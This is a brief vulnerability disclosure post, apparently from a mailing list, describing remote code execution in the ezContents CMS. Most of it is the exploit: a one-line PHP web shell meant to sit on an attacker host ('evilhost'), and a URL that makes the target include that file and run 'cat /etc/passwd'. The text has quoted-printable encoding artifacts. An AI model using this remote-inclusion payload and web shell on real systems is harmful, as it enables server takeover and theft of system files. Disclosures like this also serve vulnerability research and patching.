Remote Code Execution in ezContents

[Zero_X www.lobnan.de Team]

Remote Code Execution in ezContents=0D
=0D
"ezContents" from www.ezcontents.org allows to execute code.=0D
=0D
Example:=0D
=0D
Create the following file on your webserver:=0D
=0D
----index.php----=0D
<?=0D
system($cmd);=0D
?>=0D
-----------------=0D
=0D
And then type in the following URL:=0D
=0D
http://targethost/module.php?link=3Dhttp://evilhost/index.php&cmd=3Dcat /=
etc/passwd=0D
=0D
=0D
Zero X, member of www.lobnan.de and www.lostkey.org